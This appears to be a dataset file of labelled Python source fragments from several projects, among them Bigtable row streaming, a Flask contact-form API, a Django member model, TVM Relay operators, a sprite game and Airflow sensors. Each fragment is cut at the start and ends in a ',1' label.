value class PartialRowData(object): """"""Representation of partial row in a Google Cloud Bigtable Table. These are expected to be updated directly from a :class:`._generated.bigtable_service_messages_pb2.ReadRowsResponse` :type row_key: bytes :param row_key: The key for the row holding the (partial) data. """""" def __init__(self, row_key): self._row_key = row_key self._cells = {} def __eq__(self, other): if not isinstance(other, self.__class__): return False return (other._row_key == self._row_key and other._cells == self._cells) def __ne__(self, other): return not self.__eq__(other) def to_dict(self): """"""Convert the cells to a dictionary. This is intended to be used with HappyBase, so the column family and column qualiers are combined (with ``:``). :rtype: dict :returns: Dictionary containing all the data in the cells of this row. """""" result = {} for column_family_id, columns in six.iteritems(self._cells): for column_qual, cells in six.iteritems(columns): key = (_to_bytes(column_family_id) + b':' + _to_bytes(column_qual)) result[key] = cells return result @property def cells(self): """"""Property returning all the cells accumulated on this partial row. :rtype: dict :returns: Dictionary of the :class:`Cell` objects accumulated. This dictionary has two-levels of keys (first for column families and second for column names/qualifiers within a family). For a given column, a list of :class:`Cell` objects is stored. """""" return copy.deepcopy(self._cells) @property def row_key(self): """"""Getter for the current (partial) row's key. :rtype: bytes :returns: The current (partial) row's key. """""" return self._row_key class InvalidReadRowsResponse(RuntimeError): """"""Exception raised to to invalid response data from back-end."""""" class InvalidChunk(RuntimeError): """"""Exception raised to to invalid chunk data from back-end."""""" class PartialRowsData(object): """"""Convenience wrapper for consuming a ``ReadRows`` streaming response. :type response_iterator: :class:`grpc.framework.alpha._reexport._CancellableIterator` :param response_iterator: A streaming iterator returned from a ``ReadRows`` request. """""" START = ""Start"" # No responses yet processed. NEW_ROW = ""New row"" # No cells yet complete for row ROW_IN_PROGRESS = ""Row in progress"" # Some cells complete for row CELL_IN_PROGRESS = ""Cell in progress"" # Incomplete cell for row def __init__(self, response_iterator): self._response_iterator = response_iterator # Fully-processed rows, keyed by `row_key` self._rows = {} # Counter for responses pulled from iterator self._counter = 0 # Maybe cached from previous response self._last_scanned_row_key = None # In-progress row, unset until first response, after commit/reset self._row = None # Last complete row, unset until first commit self._previous_row = None # In-progress cell, unset until first response, after completion self._cell = None # Last complete cell, unset until first completion, after new row self._previous_cell = None def __eq__(self, other): if not isinstance(other, self.__class__): return False return other._response_iterator == self._response_iterator def __ne__(self, other): return not self.__eq__(other) @property def state(self): """"""State machine state. :rtype: str :returns: name of state corresponding to currrent row / chunk processing. """""" if self._last_scanned_row_key is None: return self.START if self._row is None: assert self._cell is None assert self._previous_cell is None return self.NEW_ROW if self._cell is not None: return self.CELL_IN_PROGRESS if self._previous_cell is not None: return self.ROW_IN_PROGRESS return self.NEW_ROW # row added, no chunk yet processed @property def rows(self): """"""Property returning all rows accumulated from the stream. :rtype: dict :returns: row_key -> :class:`PartialRowData`. """""" # NOTE: To avoid duplicating large objects, this is just the # mutable private data. return self._rows def cancel(self): """"""Cancels the iterator, closing the stream."""""" self._response_iterator.cancel() def consume_next(self): """"""Consume the next ``ReadRowsResponse`` from the stream. Parse the response and its chunks into a new/existing row in :attr:`_rows` """""" response = six.next(self._response_iterator) self._counter += 1 if self._last_scanned_row_key is None: # first response if response.last_scanned_row_key: raise InvalidReadRowsResponse() self._last_scanned_row_key = response.last_scanned_row_key row = self._row cell = self._cell for chunk in response.chunks: self._validate_chunk(chunk) if chunk.reset_row: row = self._row = None cell = self._cell = self._previous_cell = None continue if row is None: row = self._row = PartialRowData(chunk.row_key) if cell is None: cell = self._cell = PartialCellData( chunk.row_key, chunk.family_name.value, chunk.qualifier.value, chunk.timestamp_micros, chunk.labels, chunk.value) self._copy_from_previous(cell) else: cell.append_value(chunk.value) if chunk.commit_row: self._save_current_row() row = cell = None continue if chunk.value_size == 0: self._save_current_cell() cell = None def consume_all(self, max_loops=None): """"""Consume the streamed responses until there are no more. This simply calls :meth:`consume_next` until there are no more to consume. :type max_loops: int :param max_loops: (Optional) Maximum number of times to try to consume an additional ``ReadRowsResponse``. You can use this to avoid long wait times. """""" curr_loop = 0 if max_loops is None: max_loops = float('inf') while curr_loop < max_loops: curr_loop += 1 try: self.consume_next() except StopIteration: break @staticmethod def _validate_chunk_status(chunk): """"""Helper for :meth:`_validate_chunk_row_in_progress`, etc."""""" # No reseet with other keys if chunk.reset_row: _raise_if(chunk.row_key) _raise_if(chunk.HasField('family_name')) _raise_if(chunk.HasField('qualifier')) _raise_if(chunk.timestamp_micros) _raise_if(chunk.labels) _raise_if(chunk.value_size) _raise_if(chunk.value) # No commit with value size _raise_if(chunk.commit_row and chunk.value_size > 0) # No negative value_size (inferred as a general constraint). _raise_if(chunk.value_size < 0) def _validate_chunk_new_row(self, chunk): """"""Helper for :meth:`_validate_chunk`."""""" assert self.state == self.NEW_ROW _raise_if(chunk.reset_row) _raise_if(not chunk.row_key) _raise_if(not chunk.family_name) _raise_if(not chunk.qualifier) # This constraint is not enforced in the Go example. _raise_if(chunk.value_size > 0 and chunk.commit_row is not False) # This constraint is from the Go example, not the spec. _raise_if(self._previous_row is not None and chunk.row_key <= self._previous_row.row_key) def _same_as_previous(self, chunk): """"""Helper for :meth:`_validate_chunk_row_in_progress`"""""" previous = self._previous_cell return (chunk.row_key == previous.row_key and chunk.family_name == previous.family_name and chunk.qualifier == previous.qualifier and chunk.labels == previous.labels) def _validate_chunk_row_in_progress(self, chunk): """"""Helper for :meth:`_validate_chunk`"""""" assert self.state == self.ROW_IN_PROGRESS self._validate_chunk_status(chunk) if not chunk.HasField('commit_row') and not chunk.reset_row: _raise_if(not chunk.timestamp_micros or not chunk.value) _raise_if(chunk.row_key and chunk.row_key != self._row.row_key) _raise_if(chunk.HasField('family_name') and not chunk.HasField('qualifier')) previous = self._previous_cell _raise_if(self._same_as_previous(chunk) and chunk.timestamp_micros <= previous.timestamp_micros) def _validate_chunk_cell_in_progress(self, chunk): """"""Helper for :meth:`_validate_chunk`"""""" assert self.state == self.CELL_IN_PROGRESS self._validate_chunk_status(chunk) self._copy_from_current(chunk) def _validate_chunk(self, chunk): """"""Helper for :meth:`consume_next`."""""" if self.state == self.NEW_ROW: self._validate_chunk_new_row(chunk) if self.state == self.ROW_IN_PROGRESS: self._validate_chunk_row_in_progress(chunk) if self.state == self.CELL_IN_PROGRESS: self._validate_chunk_cell_in_progress(chunk) def _save_current_cell(self): """"""Helper for :meth:`consume_next`."""""" row, cell = self._row, self._cell family = row._cells.setdefault(cell.family_name, {}) qualified = family.setdefault(cell.qualifier, []) complete = Cell.from_pb(self._cell) qualified.append(complete) self._cell, self._previous_cell = None, cell def _copy_from_current(self, chunk): """"""Helper for :meth:`consume_next`."""""" current = self._cell if current is not None: if not chunk.row_key: chunk.row_key = current.row_key if not chunk.HasField('family_name'): chunk.family_name.value = current.family_name if not chunk.HasField('qualifier'): chunk.qualifier.value = current.qualifier if not chunk.timestamp_micros: chunk.timestamp_micros = current.timestamp_micros if not chunk.labels: chunk.labels.extend(current.labels) def _copy_from_previous(self, cell): """"""Helper for :meth:`consume_next`."""""" previous = self._previous_cell if previous is not None: if not cell.row_key: cell.row_key = previous.row_key if not cell.family_name: cell.family_name = previous.family_name if not cell.qualifier: cell.qualifier = previous.qualifier def _save_current_row(self): """"""Helper for :meth:`consume_next`."""""" if self._cell: self._save_current_cell() self._rows[self._row.row_key] = self._row self._row, self._previous_row = None, self._row self._previous_cell = None def _raise_if(predicate, *args): """"""Helper for validation methods."""""" if predicate: raise InvalidChunk(*args) ",1 "ace, Resource, fields, reqparse from sqlalchemy.exc import IntegrityError from packr.models import Message api = Namespace('contact', description='Operations related to the contact form') message = api.model('Contact', { 'email': fields.String(required=True, description='Contact email'), 'content': fields.String(required=True, description='Message'), }) message_id = api.model('ContactCompletion', { 'id': fields.Integer(required=True, description='id') }) @api.route('/') class MessageItem(Resource): @api.expect(message) @api.response(204, 'Message successfully received.') def post(self): req_parse = reqparse.RequestParser(bundle_errors=True) req_parse.add_argument('email', type=str, required=True, help='No email provided', location='json') req_parse.add_argument('content', type=str, required=True, help='No message provided', location='json') args = req_parse.parse_args() email = args.get('email') content = args.get('content') if email == '': return {'message': {'email': 'No email provided'}}, 400 elif not re.match(r""^[A-Za-z0-9.+_-]+@[A-Za-z0-9._-]+\.[a-zA-Z]*$"", email): return {'message': {'email': 'Invalid email provided'}}, 400 if content == '': return {'message': {'content': 'No content provided'}}, 400 new_message = Message(email=email, content=content, time=datetime.now()) try: new_message.save() except IntegrityError as e: print(e) return { 'description': 'Failed to send message.' }, 409 except Exception as e: print(e) return {'description': 'Server encountered an error.'}, 500 return {'email': new_message.email}, 201 def get(self): if not current_identity and not app.config.get('TESTING'): return {'message': 'User not authenticated'}, 401 if app.config.get('TESTING') \ or current_identity.role.role_name == ""ADMIN"": messages = dict() for message_row in Message.query.filter_by(done=False).all(): messages[message_row.id] = { ""email"": message_row.email, ""time"": message_row.time.isoformat(), ""content"": message_row.content } return messages, 201 else: return {'message': 'Not authorised'}, 401 @api.route('/complete') class CompleteItem(Resource): @api.expect(message_id) @api.response(204, 'Message successfully updated.') def post(self): req_parse = reqparse.RequestParser(bundle_errors=True) req_parse.add_argument('id', type=int, required=True, help='No id provided', location='json') args = req_parse.parse_args() id = args.get('id') if id == 0: return {'message': {'id': 'No id provided'}}, 400 completed_message = Message.query.filter_by(id=id).first() completed_message.done = True try: completed_message.save() except IntegrityError as e: print(e) return { 'description': 'Failed to update message.' }, 409 except Exception as e: print(e) return {'description': 'Server encountered an error.'}, 500 return {'message': ""Message updated""}, 201 ",1 "ager (Attributes) : """""" UnitManager class -- manages a pool """""" # -------------------------------------------------------------------------- # def __init__ (self, url=None, scheduler='default', session=None) : Attributes.__init__ (self) # -------------------------------------------------------------------------- # def add_pilot (self, pid) : """""" add (Compute or Data)-Pilot(s) to the pool """""" raise Exception (""%s.add_pilot() is not implemented"" % self.__class__.__name__) # -------------------------------------------------------------------------- # def list_pilots (self, ptype=ANY) : """""" List IDs of data and/or compute pilots """""" raise Exception (""%s.list_pilots() is not implemented"" % self.__class__.__name__) # -------------------------------------------------------------------------- # def remove_pilot (self, pid, drain=False) : """""" Remove pilot(s) (does not cancel the pilot(s), but removes all units from the pilot(s). `drain` determines what happens to the units which are managed by the removed pilot(s). If `True`, the pilot removal is delayed until all units reach a final state. If `False` (the default), then `RUNNING` units will be canceled, and `PENDING` units will be re-assinged to the unit managers for re-scheduling to other pilots. """""" raise Exception (""%s.remove_pilot() is not implemented"" % self.__class__.__name__) # -------------------------------------------------------------------------- # def submit_unit (self, description) : """""" Instantiate and return (Compute or Data)-Unit object(s) """""" raise Exception (""%s.submit_unit() is not implemented"" % self.__class__.__name__) # -------------------------------------------------------------------------- # def list_units (self, utype=ANY) : """""" List IDs of data and/or compute units """""" raise Exception (""%s.list_units() is not implemented"" % self.__class__.__name__) # -------------------------------------------------------------------------- # def get_unit (self, uids) : """""" Reconnect to and return (Compute or Data)-Unit object(s) """""" raise Exception (""%s.get_unit() is not implemented"" % self.__class__.__name__) # -------------------------------------------------------------------------- # def wait_unit (self, uids, state=[DONE, FAILED, CANCELED], timeout=-1.0) : """""" Wait for given unit(s) to enter given state """""" raise Exception (""%s.wait_unit() is not implemented"" % self.__class__.__name__) # -------------------------------------------------------------------------- # def cancel_units (self, uids) : """""" Cancel given unit(s) """""" raise Exception (""%s.cancel_unit() is not implemented"" % self.__class__.__name__) # ------------------------------------------------------------------------------ # ",1 "Member(models.Model): """"""A member of compsoc"""""" class Meta: verbose_name = 'CompSoc Member' verbose_name_plural = 'CompSoc Members' index = models.IntegerField(blank=False, help_text=""This field is present just for ordering members based on their posts. President = 2, VPs = 1, Gen. Sec. = 0, Everyone else = -1"", default=-1) name = models.CharField(max_length=50, help_text='Enter your full name') image = models.ImageField(blank=False, upload_to='member_images/', help_text='Please select a display image for yourself. This is necessary.') cropping = ImageRatioField('image', '500x500') alumni = models.BooleanField(default=False, help_text='Are you an alumni?') role = models.CharField(max_length=100, help_text=""Enter your post if you hold one. If not, enter 'Member'"") batch_of = models.CharField(max_length=4, default='2015', help_text='Enter the year you will graduate') social_link = models.CharField(blank=True, max_length=256, help_text='Enter a link to your Facebook, Twitter, GitHub or any other social network profile. You can leave this blank if you wish!') def get_social_link(self): ''' Returns the social_link if present. Otherwise, sends javascript:void(0) ''' if self.social_link == '': return 'javascript:void(0)' else: return self.social_link def __str__(self): return self.name class Variable(models.Model): ##NOTE: This should not be used anymore def __str__(self): warnings.warn('''You are using a ""General Variable"". Stop doing that. This is bad design on Arjoonn's part so don't fall into the same trap. If you are using this for Orfik, that has already been fixed. If you are using this for logos, same thing. Over a few cycles this entire table will be removed. ''') return self.name name = models.CharField(max_length=100) time = models.DateTimeField() # Receive the pre_delete signal and delete the image associated with the model instance. from django.db.models.signals import pre_delete from django.dispatch.dispatcher import receiver @receiver(pre_delete, sender=CompMember) def compsoc_member_delete(sender, instance, **kwargs): # Pass false so ImageField doesn't save the model. instance.image.delete(False) ",1 "trides=(1, 1), padding=(0, 0), dilation=(1, 1), groups=1, channels=None, kernel_size=None, data_layout=""NCHW"", weight_layout=""OIHW"", out_layout="""", out_dtype=""""): r""""""2D convolution. This operator takes the weight as the convolution kernel and convolves it with data to produce an output. In the default case, where the data_layout is `NCHW` and weight_layout is `OIHW`, conv2d takes in a data Tensor with shape `(batch_size, in_channels, height, width)`, and a weight Tensor with shape `(channels, in_channels, kernel_size[0], kernel_size[1])` to produce an output Tensor with the following rule: .. math:: \mbox{out}[b, c, y, x] = \sum_{dy, dx, k} \mbox{data}[b, k, \mbox{strides}[0] * y + dy, \mbox{strides}[1] * x + dx] * \mbox{weight}[c, k, dy, dx] Padding and dilation are applied to data and weight respectively before the computation. This operator accepts data layout specification. Semantically, the operator will convert the layout to the canonical layout (`NCHW` for data and `OIHW` for weight), perform the computation, then convert to the out_layout. Parameters ---------- data : relay.Expr The input data to the operator. weight : relay.Expr The weight expressions. strides : tuple of int, optional The strides of convoltution. padding : tuple of int, optional The padding of convolution on both sides of inputs before convolution. dilation : tuple of int, optional Specifies the dilation rate to be used for dilated convolution. groups : int, optional Number of groups for grouped convolution. channels : int, optional Number of output channels of this convolution. kernel_size : tuple of int, optional The spatial of the convolution kernel. data_layout : str, optional Layout of the input. weight_layout : str, optional Layout of the weight. out_layout : str, optional Layout of the output, by default, out_layout is the same as data_layout out_dtype : str, optional Specifies the output data type for mixed precision conv2d. Returns ------- result : relay.Expr The computed result. """""" return _make.conv2d(data, weight, strides, padding, dilation, groups, channels, kernel_size, data_layout, weight_layout, out_layout, out_dtype) def softmax(data, axis): r""""""Computes softmax. .. math:: \text{softmax}(x)_i = \frac{exp(x_i)}{\sum_j exp(x_j)} .. note:: This operator can be optimized away for inference. Parameters ---------- data: relay.Expr The input data to the operator. axis: int The axis to sum over when computing softmax """""" return _make.softmax(data, axis) def log_softmax(data, axis): r""""""Computes log softmax. .. math:: \text{log_softmax}(x)_i = \log \frac{exp(x_i)}{\sum_j exp(x_j)} .. note:: This operator can be optimized away for inference. Parameters ---------- data: relay.Expr The input data to the operator. axis: int The axis to sum over when computing softmax """""" return _make.log_softmax(data, axis) def max_pool2d(data, pool_size=(1, 1), strides=(1, 1), padding=(0, 0), layout=""NCHW"", ceil_mode=False): r""""""2D maximum pooling operator. This operator takes data as input and does 2D max value calculation with in pool_size sized window by striding defined by stride In the default case, where the data_layout is `NCHW` a data Tensor with shape `(batch_size, in_channels, height, width)`, to produce an output Tensor with the following rule: with data of shape (b, c, h, w) and pool_size (kh, kw) .. math:: \mbox{out}(b, c, y, x) = \max_{m=0, \ldots, kh-1} \max_{n=0, \ldots, kw-1} \mbox{data}(b, c, \mbox{stride}[0] * y + m, \mbox{stride}[1] * x + n) Padding is applied to data before the computation. ceil_mode is used to take ceil or floor while computing out shape. This operator accepts data layout specification. Parameters ---------- data : relay.Expr The input data to the operator. strides : tuple of int, optional The strides of pooling. padding : tuple of int, optional The padding for pooling. layout : str, optional Layout of the input. ceil_mode : bool, optional To enable or disable ceil while pooling. Returns ------- result : relay.Expr The computed result. """""" return _make.max_pool2d(data, pool_size, strides, padding, layout, ceil_mode) def avg_pool2d(data, pool_size=(1, 1), strides=(1, 1), padding=(0, 0), layout=""NCHW"", ceil_mode=False, count_include_pad=False): r""""""2D average pooling operator. This operator takes data as input and does 2D average value calculation with in pool_size sized window by striding defined by stride In the default case, where the data_layout is `NCHW` a data Tensor with shape `(batch_size, in_channels, height, width)`, to produce an output Tensor with the following rule: with data of shape (b, c, h, w), pool_size (kh, kw) .. math:: \mbox{out}(b, c, y, x) = \frac{1}{kh * kw} \sum_{m=0}^{kh-1} \sum_{n=0}^{kw-1} \mbox{data}(b, c, \mbox{stride}[0] * y + m, \mbox{stride}[1] * x + n) Padding is applied to data before the computation. ceil_mode is used to take ceil or floor while computing out shape. count_include_pad indicates including or excluding padded input values in computation. This operator accepts data layout specification. Parameters ---------- data : relay.Expr The input data to the operator. strides : tuple of int, optional The strides of pooling. padding : tuple of int, optional The padding for pooling. layout : str, optional Layout of the input. ceil_mode : bool, optional To enable or disable ceil while pooling. count_include_pad : bool, optional To include padding to compute the average. Returns ------- result : relay.Expr The computed result. """""" return _make.avg_pool2d(data, pool_size, strides, padding, layout, ceil_mode, count_include_pad) def global_max_pool2d(data, layout=""NCHW""): r""""""2D global maximum pooling operator. This operator takes data as input and does 2D max value calculation across each window represented by WxH. In the default case, where the data_layout is `NCHW` a data Tensor with shape `(batch_size, in_channels, height, width)`, to produce an output Tensor with the following rule: with data of shape (b, c, h, w) .. math:: \mbox{out}(b, c, 1, 1) = \max_{m=0, \ldots, h} \max_{n=0, \ldots, w} \mbox{data}(b, c, m, n) Parameters ---------- data : relay.Expr The input data to the operator. layout : str, optional Layout of the input. Returns ------- result : relay.Expr The computed result. """""" return _make.global_max_pool2d(data, layout) def global_avg_pool2d(data, layout=""NCHW""): r""""""2D global average pooling operator. This operator takes data as input and does 2D average value calculation across each window represented by WxH. In the default case, where the data_layout is `NCHW` a data Tensor with shape `(batch_size, in_channels, height, width)`, to produce an output Tensor with the following rule: with data of shape (b, c, h, w) .. math:: \mbox{out}(b, c, 1, 1) = \frac{1}{h * w} \sum_{m=0}^{h-1} \sum_{n=0}^{w-1} \mbox{data}(b, c, m, n) Parameters ---------- data : relay.Expr The input data to the operator. layout : str, optional Layout of the input. Returns ------- result : relay.Expr The computed result. """""" return _make.global_avg_pool2d(data, layout) def upsampling(data, scale=1, layout=""NCHW"", method=""NEAREST_NEIGHBOR""): """"""Upsampling. This operator takes data as input and does 2D scaling to the given scale factor. In the default case, where the data_layout is `NCHW` with data of shape (n, c, h, w) out will have a shape (n, c, h*scale, w*scale) method indicates the algorithm to be used while calculating ghe out value and method can be one of (""BILINEAR"", ""NEAREST_NEIGHBOR"") Parameters ---------- data : relay.Expr The input data to the operator. scale : relay.Expr The scale factor for upsampling. layout : str, optional Layout of the input. method : str, optional Scale method to used [NEAREST_NEIGHBOR, BILINEAR]. Returns ------- result : relay.Expr The computed result. """""" return _make.upsampling(data, scale, layout, method) def batch_flatten(data): """"""BatchFlatten. This operator flattens all the dimensions except for the batch dimension. which results a 2D output. For data with shape ``(d1, d2, ..., dk)`` batch_flatten(data) returns reshaped output of shape ``(d1, d2*...*dk)``. Parameters ---------- data : relay.Expr The input data to the operator. Returns ------- result: relay.Expr The Flattened result. """""" return _make.batch_flatten(data) ",1 " def checkCollision(self, otherSprite): if (self.x < otherSprite.x + otherSprite.tw and otherSprite.x < self.x + self.tw and self.y < otherSprite.y + otherSprite.th and otherSprite.y < self.y + self.th): return True else: return False class Actor(Sprite): def __init__(self, xPos, yPos): super(Actor, self).__init__(xPos, yPos) self.speed = 5 self.dy = 0 self.d = 3 self.dir = ""right"" # self.newdir = ""right"" self.state = ""standing"" self.walkR = [] self.walkL = [] def loadPics(self): self.standing = loadImage(""gripe_stand.png"") self.falling = loadImage(""grfalling.png"") for i in range(8): imageName = ""gr"" + str(i) + "".png"" self.walkR.append(loadImage(imageName)) for i in range(8): imageName = ""gl"" + str(i) + "".png"" self.walkL.append(loadImage(imageName)) def checkWall(self, wall): if wall.state == ""hidden"": if (self.x >= wall.x - self.d and (self.x + 32 <= wall.x + 32 + self.d)): return False def move(self): if self.dir == ""right"": if self.state == ""walking"": self.im = self.walkR[frameCount % 8] self.dx = self.speed elif self.state == ""standing"": self.im = self.standing self.dx = 0 elif self.state == ""falling"": self.im = self.falling self.dx = 0 self.dy = 5 elif self.dir == ""left"": if self.state == ""walking"": self.im = self.walkL[frameCount % 8] self.dx = -self.speed elif self.state == ""standing"": self.im = self.standing self.dx = 0 elif self.state == ""falling"": self.im = self.falling self.dx = 0 self.dy = 5 else: self.dx = 0 self.x += self.dx self.y += self.dy if self.x <= 0: self.x = 0 if self.x >= 640 - self.tw: self.x = 640 -self.tw def display(self): image(self.im, self.x, self.y) class Block(Sprite): def __init__(self, xPos, yPos): super(Block, self).__init__(xPos, yPos) self.state = ""visible"" def loadPics(self): self.im = loadImage(""block.png"") def display(self): if self.state == ""visible"": image(self.im, self.x, self.y) ",1 "------------------------------------------------------------------ from typing import Any, Sequence, TYPE_CHECKING, Union from git.types import PathLike if TYPE_CHECKING: from .base import Submodule from weakref import ReferenceType from git.repo import Repo from git.refs import Head from git import Remote from git.refs import RemoteReference __all__ = ('sm_section', 'sm_name', 'mkhead', 'find_first_remote_branch', 'SubmoduleConfigParser') #{ Utilities def sm_section(name: str) -> str: """""":return: section title used in .gitmodules configuration file"""""" return f'submodule ""{name}""' def sm_name(section: str) -> str: """""":return: name of the submodule as parsed from the section name"""""" section = section.strip() return section[11:-1] def mkhead(repo: 'Repo', path: PathLike) -> 'Head': """""":return: New branch/head instance"""""" return git.Head(repo, git.Head.to_full_path(path)) def find_first_remote_branch(remotes: Sequence['Remote'], branch_name: str) -> 'RemoteReference': """"""Find the remote branch matching the name of the given branch or raise InvalidGitRepositoryError"""""" for remote in remotes: try: return remote.refs[branch_name] except IndexError: continue # END exception handling # END for remote raise InvalidGitRepositoryError(""Didn't find remote branch '%r' in any of the given remotes"" % branch_name) #} END utilities #{ Classes class SubmoduleConfigParser(GitConfigParser): """""" Catches calls to _write, and updates the .gitmodules blob in the index with the new data, if we have written into a stream. Otherwise it will add the local file to the index to make it correspond with the working tree. Additionally, the cache must be cleared Please note that no mutating method will work in bare mode """""" def __init__(self, *args: Any, **kwargs: Any) -> None: self._smref: Union['ReferenceType[Submodule]', None] = None self._index = None self._auto_write = True super(SubmoduleConfigParser, self).__init__(*args, **kwargs) #{ Interface def set_submodule(self, submodule: 'Submodule') -> None: """"""Set this instance's submodule. It must be called before the first write operation begins"""""" self._smref = weakref.ref(submodule) def flush_to_index(self) -> None: """"""Flush changes in our configuration file to the index"""""" assert self._smref is not None # should always have a file here assert not isinstance(self._file_or_files, BytesIO) sm = self._smref() if sm is not None: index = self._index if index is None: index = sm.repo.index # END handle index index.add([sm.k_modules_file], write=self._auto_write) sm._clear_cache() # END handle weakref #} END interface #{ Overridden Methods def write(self) -> None: # type: ignore[override] rval: None = super(SubmoduleConfigParser, self).write() self.flush_to_index() return rval # END overridden methods #} END classes ",1 "License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import print_function from future import standard_library standard_library.install_aliases() from builtins import str from past.builtins import basestring from datetime import datetime import logging from urllib.parse import urlparse from time import sleep import airflow from airflow import hooks, settings from airflow.exceptions import AirflowException, AirflowSensorTimeout, AirflowSkipException from airflow.models import BaseOperator, TaskInstance, Connection as DB from airflow.hooks.base_hook import BaseHook from airflow.utils.state import State from airflow.utils.decorators import apply_defaults class BaseSensorOperator(BaseOperator): ''' Sensor operators are derived from this class an inherit these attributes. Sensor operators keep executing at a time interval and succeed when a criteria is met and fail if and when they time out. :param soft_fail: Set to true to mark the task as SKIPPED on failure :type soft_fail: bool :param poke_interval: Time in seconds that the job should wait in between each tries :type poke_interval: int :param timeout: Time, in seconds before the task times out and fails. :type timeout: int ''' ui_color = '#e6f1f2' @apply_defaults def __init__( self, poke_interval=60, timeout=60*60*24*7, soft_fail=False, *args, **kwargs): super(BaseSensorOperator, self).__init__(*args, **kwargs) self.poke_interval = poke_interval self.soft_fail = soft_fail self.timeout = timeout def poke(self, context): ''' Function that the sensors defined while deriving this class should override. ''' raise AirflowException('Override me.') def execute(self, context): started_at = datetime.now() while not self.poke(context): if (datetime.now() - started_at).total_seconds() > self.timeout: if self.soft_fail: raise AirflowSkipException('Snap. Time is OUT.') else: raise AirflowSensorTimeout('Snap. Time is OUT.') sleep(self.poke_interval) logging.info(""Success criteria met. Exiting."") class SqlSensor(BaseSensorOperator): """""" Runs a sql statement until a criteria is met. It will keep trying until sql returns no row, or if the first cell in (0, '0', ''). :param conn_id: The connection to run the sensor against :type conn_id: string :param sql: The sql to run. To pass, it needs to return at least one cell that contains a non-zero / empty string value. """""" template_fields = ('sql',) template_ext = ('.hql', '.sql',) @apply_defaults def __init__(self, conn_id, sql, *args, **kwargs): self.sql = sql self.conn_id = conn_id super(SqlSensor, self).__init__(*args, **kwargs) def poke(self, context): hook = BaseHook.get_connection(self.conn_id).get_hook() logging.info('Poking: ' + self.sql) records = hook.get_records(self.sql) if not records: return False else: if str(records[0][0]) in ('0', '',): return False else: return True print(records[0][0]) class MetastorePartitionSensor(SqlSensor): """""" An alternative to the HivePartitionSensor that talk directly to the MySQL db. This was created as a result of observing sub optimal queries generated by the Metastore thrift service when hitting subpartitioned tables. The Thrift service's queries were written in a way that wouldn't leverage the indexes. :param schema: the schema :type schema: str :param table: the table :type table: str :param partition_name: the partition name, as defined in the PARTITIONS table of the Metastore. Order of the fields does matter. Examples: ``ds=2016-01-01`` or ``ds=2016-01-01/sub=foo`` for a sub partitioned table :type partition_name: str :param mysql_conn_id: a reference to the MySQL conn_id for the metastore :type mysql_conn_id: str """""" template_fields = ('partition_name', 'table', 'schema') @apply_defaults def __init__( self, table, partition_name, schema=""default"", mysql_conn_id=""metastore_mysql"", *args, **kwargs): self.partition_name = partition_name self.table = table self.schema = schema self.first_poke = True self.conn_id = mysql_conn_id super(SqlSensor, self).__init__(*args, **kwargs) def poke(self, context): if self.first_poke: self.first_poke = False if '.' in self.table: self.schema, self.table = self.table.split('.') self.sql = """""" SELECT 'X' FROM PARTITIONS A0 LEFT OUTER JOIN TBLS B0 ON A0.TBL_ID = B0.TBL_ID LEFT OUTER JOIN DBS C0 ON B0.DB_ID = C0.DB_ID WHERE B0.TBL_NAME = '{self.table}' AND C0.NAME = '{self.schema}' AND A0.PART_NAME = '{self.partition_name}'; """""".format(self=self) return super(MetastorePartitionSensor, self).poke(context) class ExternalTaskSensor(BaseSensorOperator): """""" Waits for a task to complete in a different DAG :param external_dag_id: The dag_id that contains the task you want to wait for :type external_dag_id: string :param external_task_id: The task_id that contains the task you want to wait for :type external_task_id: string :param allowed_states: list of allowed states, default is ``['success']`` :type allowed_states: list :param execution_delta: time difference with the previous execution to look at, the default is the same execution_date as the current task. For yesterday, use [positive!] datetime.timedelta(days=1). Either execution_delta or execution_date_fn can be passed to ExternalTaskSensor, but not both. :type execution_delta: datetime.timedelta :param execution_date_fn: function that receives the current execution date and returns the desired execution date to query. Either execution_delta or execution_date_fn can be passed to ExternalTaskSensor, but not both. :type execution_date_fn: callable """""" @apply_defaults def __init__( self, external_dag_id, external_task_id, allowed_states=None, execution_delta=None, execution_date_fn=None, *args, **kwargs): super(ExternalTaskSensor, self).__init__(*args, **kwargs) self.allowed_states = allowed_states or [State.SUCCESS] if execution_delta is not None and execution_date_fn is not None: raise ValueError( 'Only one of `execution_date` or `execution_date_fn` may' 'be provided to ExternalTaskSensor; not both.') self.execution_delta = execution_delta self.execution_date_fn = execution_date_fn self.external_dag_id = external_dag_id self.external_task_id = external_task_id def poke(self, context): if self.execution_delta: dttm = context['execution_date'] - self.execution_delta elif self.execution_date_fn: dttm = self.execution_date_fn(context['execution_date']) else: dttm = context['execution_date'] logging.info( 'Poking for ' '{self.external_dag_id}.' '{self.external_task_id} on ' '{dttm} ... '.format(**locals())) TI = TaskInstance session = settings.Session() count = session.query(TI).filter( TI.dag_id == self.external_dag_id, TI.task_id == self.external_task_id, TI.state.in_(self.allowed_states), TI.execution_date == dttm, ).count() session.commit() session.close() return count class NamedHivePartitionSensor(BaseSensorOperator): """""" Waits for a set of partitions to show up in Hive. :param partition_names: List of fully qualified names of the partitions to wait for. A fully qualified name is of the form schema.table/pk1=pv1/pk2=pv2, for example, default.users/ds=2016-01-01. This is passed as is to the metastore Thrift client ""get_partitions_by_name"" method. Note that you cannot use logical operators as in HivePartitionSensor. :type partition_names: list of strings :param metastore_conn_id: reference to the metastore thrift service connection id :type metastore_conn_id: str """""" template_fields = ('partition_names', ) @apply_defaults def __init__( self, partition_names, metastore_conn_id='metastore_default', poke_interval=60*3, *args, **kwargs): super(NamedHivePartitionSensor, self).__init__( poke_interval=poke_interval, *args, **kwargs) if isinstance(partition_names, basestring): raise TypeError('partition_names must be an array of strings') self.metastore_conn_id = metastore_conn_id self.partition_names = partition_names self.next_poke_idx = 0 def parse_partition_name(self, partition): try: schema, table_partition = partition.split('.') table, partition = table_partition.split('/', 1) return schema, table, partition except ValueError as e: raise ValueError('Could not parse ' + partition) def poke(self, context): if not hasattr(self, 'hook'): self.hook = airflow.hooks.hive_hooks.HiveMetastoreHook( metastore_conn_id=self.metastore_conn_id) def poke_partition(partition): schema, table, partition = self.parse_partition_name(partition) logging.info( 'Poking for {schema}.{table}/{partition}'.format(**locals()) ) return self.hook.check_for_named_partition( schema, table, partition) while self.next_poke_idx < len(self.partition_names): if 